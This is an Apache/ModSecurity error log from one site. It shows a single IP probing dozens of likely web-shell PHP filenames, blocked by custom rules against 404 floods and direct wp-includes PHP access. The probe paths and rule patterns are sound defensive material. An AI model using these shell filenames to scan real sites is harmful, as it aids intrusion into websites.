[Thu Apr 16 22:05:32.035634 2026] [:error] [pid 49094:tid 49115] [client 158.158.35.197:28771] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gz.php"] [unique_id "aeDsrDbDwvcXorHR_Mz6pgAAAVM"]
[Thu Apr 16 22:05:33.006517 2026] [:error] [pid 57639:tid 57650] [client 158.158.35.197:23851] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gz.php"] [unique_id "aeDsraMCQoTw7TsxWunT4AAAAMQ"]
[Thu Apr 16 22:05:34.052305 2026] [:error] [pid 57639:tid 57647] [client 158.158.35.197:17789] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gz.php"] [unique_id "aeDsrqMCQoTw7TsxWunT4wAAAME"]
[Thu Apr 16 22:05:39.139815 2026] [:error] [pid 57639:tid 57650] [client 158.158.35.197:18758] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeDss6MCQoTw7TsxWunT8QAAAMQ"]
[Thu Apr 16 22:05:40.578416 2026] [:error] [pid 7880:tid 7894] [client 158.158.35.197:24195] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeDstKaezm4fSGc0yUK7cwAAAYk"]
[Thu Apr 16 22:05:42.677169 2026] [:error] [pid 49094:tid 49102] [client 158.158.35.197:26255] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeDstjbDwvcXorHR_Mz6wAAAAUY"]
[Thu Apr 16 22:05:43.935857 2026] [:error] [pid 57639:tid 57652] [client 158.158.35.197:18742] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeDst6MCQoTw7TsxWunUIQAAAMY"]
[Thu Apr 16 22:05:45.017553 2026] [:error] [pid 49094:tid 49101] [client 158.158.35.197:19275] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeDsuTbDwvcXorHR_Mz6zAAAAUU"]
[Thu Apr 16 22:05:46.335408 2026] [:error] [pid 57538:tid 57604] [client 158.158.35.197:18764] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeDsusuMaiEF5SVR2BfvIgAAAII"]
[Thu Apr 16 22:05:47.329493 2026] [:error] [pid 7880:tid 7895] [client 158.158.35.197:25747] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeDsu6aezm4fSGc0yUK7ewAAAYo"]
[Thu Apr 16 22:05:49.655897 2026] [:error] [pid 49094:tid 49114] [client 158.158.35.197:19819] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeDsvTbDwvcXorHR_Mz61gAAAVI"]
[Thu Apr 16 22:05:50.814376 2026] [:error] [pid 57639:tid 57651] [client 158.158.35.197:23862] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqa.php"] [unique_id "aeDsvqMCQoTw7TsxWunULwAAAMU"]
[Thu Apr 16 22:05:57.748051 2026] [:error] [pid 49094:tid 49103] [client 158.158.35.197:25273] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqa.php"] [unique_id "aeDsxTbDwvcXorHR_Mz65wAAAUc"]
[Thu Apr 16 22:05:59.172950 2026] [:error] [pid 57536:tid 57565] [client 158.158.35.197:2562] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqa.php"] [unique_id "aeDsxyQU4faGja6jpDuTzAAAABE"]
[Thu Apr 16 22:06:03.395891 2026] [proxy_fcgi:error] [pid 49094:tid 49111] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:03.638566 2026] [proxy_fcgi:error] [pid 49094:tid 49104] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:03.939242 2026] [proxy_fcgi:error] [pid 49094:tid 49114] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:04.264118 2026] [proxy_fcgi:error] [pid 49094:tid 49120] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:04.633929 2026] [proxy_fcgi:error] [pid 49094:tid 49100] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:06.128023 2026] [proxy_fcgi:error] [pid 49094:tid 49109] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:06.370290 2026] [proxy_fcgi:error] [pid 49094:tid 49112] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:06.610717 2026] [proxy_fcgi:error] [pid 49094:tid 49102] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:06.873314 2026] [proxy_fcgi:error] [pid 49094:tid 49114] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:07.266602 2026] [proxy_fcgi:error] [pid 49094:tid 49105] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:07.509918 2026] [proxy_fcgi:error] [pid 49094:tid 49120] [client 158.158.35.197:26541] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:06:07.807122 2026] [:error] [pid 49094:tid 49117] [client 158.158.35.197:26541] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeDszzbDwvcXorHR_Mz7GAAAAVU"]
[Thu Apr 16 22:06:08.884740 2026] [:error] [pid 57536:tid 57568] [client 158.158.35.197:39910] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeDs0CQU4faGja6jpDuT4AAAABQ"]
[Thu Apr 16 22:06:10.664313 2026] [:error] [pid 49094:tid 49105] [client 158.158.35.197:22815] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeDs0jbDwvcXorHR_Mz7MQAAAUk"]
[Thu Apr 16 22:06:12.023032 2026] [:error] [pid 57536:tid 57572] [client 158.158.35.197:2854] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeDs1CQU4faGja6jpDuT9QAAABg"]
[Thu Apr 16 22:06:12.912929 2026] [:error] [pid 57536:tid 57567] [client 158.158.35.197:25233] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeDs1CQU4faGja6jpDuT-gAAABM"]
[Thu Apr 16 22:06:14.559463 2026] [:error] [pid 49094:tid 49118] [client 158.158.35.197:2574] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeDs1jbDwvcXorHR_Mz7PgAAAVY"]
[Thu Apr 16 22:06:16.169003 2026] [:error] [pid 57536:tid 57559] [client 158.158.35.197:39934] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeDs2CQU4faGja6jpDuT_wAAAAs"]
[Thu Apr 16 22:06:17.239839 2026] [:error] [pid 29603:tid 29611] [client 158.158.35.197:2867] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "aeDs2VfGOR6fpTWUAzqlngAAAQY"]
[Thu Apr 16 22:06:18.291336 2026] [:error] [pid 57639:tid 57654] [client 158.158.35.197:23851] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeDs2qMCQoTw7TsxWunUYQAAAMg"]
[Thu Apr 16 22:06:19.760375 2026] [:error] [pid 7880:tid 7890] [client 158.158.35.197:25229] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeDs26aezm4fSGc0yUK7vgAAAYU"]
[Thu Apr 16 22:06:20.491209 2026] [:error] [pid 57639:tid 57661] [client 158.158.35.197:2486] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeDs3KMCQoTw7TsxWunUcAAAAM8"]
[Thu Apr 16 22:06:21.335949 2026] [:error] [pid 57537:tid 57575] [client 158.158.35.197:26546] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "aeDs3VVQRS8nm73ENAnBKgAAAEA"]
[Thu Apr 16 22:06:24.319878 2026] [:error] [pid 29603:tid 29629] [client 158.158.35.197:2524] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeDs4FfGOR6fpTWUAzqlsQAAARg"]
[Thu Apr 16 22:06:25.636749 2026] [:error] [pid 49094:tid 49103] [client 158.158.35.197:25593] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeDs4TbDwvcXorHR_Mz7TwAAAUc"]
[Thu Apr 16 22:06:27.309467 2026] [:error] [pid 57536:tid 57554] [client 158.158.35.197:23589] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeDs4yQU4faGja6jpDuUDgAAAAY"]
[Thu Apr 16 22:06:29.875252 2026] [:error] [pid 49094:tid 49108] [client 158.158.35.197:2459] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "aeDs5TbDwvcXorHR_Mz7VAAAAUw"]
[Thu Apr 16 22:06:31.236109 2026] [:error] [pid 57639:tid 57662] [client 158.158.35.197:23606] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeDs56MCQoTw7TsxWunUewAAANA"]
[Thu Apr 16 22:06:33.644486 2026] [:error] [pid 57639:tid 57649] [client 158.158.35.197:26391] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeDs6aMCQoTw7TsxWunUfwAAAMM"]
[Thu Apr 16 22:06:36.222114 2026] [:error] [pid 7880:tid 7889] [client 158.158.35.197:43348] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeDs7Kaezm4fSGc0yUK70wAAAYQ"]
[Thu Apr 16 22:06:42.761681 2026] [:error] [pid 57537:tid 57576] [client 158.158.35.197:2929] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "aeDs8lVQRS8nm73ENAnBRgAAAEE"]
[Thu Apr 16 22:06:43.666206 2026] [:error] [pid 57537:tid 57598] [client 158.158.35.197:30070] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeDs81VQRS8nm73ENAnBTQAAAFc"]
[Thu Apr 16 22:06:45.162351 2026] [:error] [pid 49094:tid 49116] [client 158.158.35.197:27539] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeDs9TbDwvcXorHR_Mz7bAAAAVQ"]
[Thu Apr 16 22:06:47.588586 2026] [:error] [pid 57639:tid 57662] [client 158.158.35.197:25613] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeDs96MCQoTw7TsxWunUjAAAANA"]
[Thu Apr 16 22:06:51.301167 2026] [:error] [pid 57639:tid 57670] [client 158.158.35.197:2939] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeDs-6MCQoTw7TsxWunUngAAANg"]
[Thu Apr 16 22:06:56.072481 2026] [:error] [pid 57639:tid 57657] [client 158.158.35.197:27615] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxpass.php"] [unique_id "aeDtAKMCQoTw7TsxWunUqQAAAMs"]
[Thu Apr 16 22:07:08.641482 2026] [proxy_fcgi:error] [pid 49094:tid 49120] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:08.919770 2026] [proxy_fcgi:error] [pid 49094:tid 49104] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:09.214942 2026] [proxy_fcgi:error] [pid 49094:tid 49103] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:09.529596 2026] [proxy_fcgi:error] [pid 49094:tid 49107] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:09.874428 2026] [proxy_fcgi:error] [pid 49094:tid 49108] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:10.319341 2026] [proxy_fcgi:error] [pid 49094:tid 49112] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:10.582812 2026] [proxy_fcgi:error] [pid 49094:tid 49110] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:10.876062 2026] [proxy_fcgi:error] [pid 49094:tid 49109] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:11.150534 2026] [proxy_fcgi:error] [pid 49094:tid 49115] [client 158.158.35.197:27564] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:11.410946 2026] [:error] [pid 49094:tid 49096] [client 158.158.35.197:27564] [client 158.158.35.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeDtDzbDwvcXorHR_Mz7qQAAAUA"]
[Thu Apr 16 22:07:14.145725 2026] [proxy_fcgi:error] [pid 57639:tid 57646] [client 158.158.35.197:31779] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:14.426537 2026] [proxy_fcgi:error] [pid 57639:tid 57670] [client 158.158.35.197:31779] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 22:07:14.737470 2026] [:error] [pid 57639:tid 57662] [client 158.158.35.197:31779] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeDtEqMCQoTw7TsxWunU1gAAANA"]
[Thu Apr 16 22:07:16.140264 2026] [:error] [pid 57639:tid 57659] [client 158.158.35.197:2790] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeDtFKMCQoTw7TsxWunU1wAAAM0"]
[Thu Apr 16 22:07:17.244845 2026] [:error] [pid 49094:tid 49105] [client 158.158.35.197:26813] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeDtFTbDwvcXorHR_Mz7tgAAAUk"]
[Thu Apr 16 22:07:18.430299 2026] [:error] [pid 49094:tid 49097] [client 158.158.35.197:41939] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeDtFjbDwvcXorHR_Mz7ugAAAUE"]
[Thu Apr 16 22:07:25.344520 2026] [:error] [pid 57538:tid 57605] [client 158.158.35.197:21846] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeDtHcuMaiEF5SVR2BfvQgAAAIM"]
[Thu Apr 16 22:07:30.056675 2026] [:error] [pid 57536:tid 57551] [client 158.158.35.197:28434] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeDtIiQU4faGja6jpDuUTQAAAAM"]
[Thu Apr 16 22:07:31.185057 2026] [:error] [pid 57538:tid 57602] [client 158.158.35.197:21854] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeDtI8uMaiEF5SVR2BfvRQAAAIA"]
[Thu Apr 16 22:07:31.868311 2026] [:error] [pid 49094:tid 49113] [client 158.158.35.197:25214] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeDtIzbDwvcXorHR_Mz73gAAAVE"]
[Thu Apr 16 22:07:32.926104 2026] [:error] [pid 57537:tid 57575] [client 158.158.35.197:25184] [client 158.158.35.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeDtJFVQRS8nm73ENAnBdAAAAEA"]
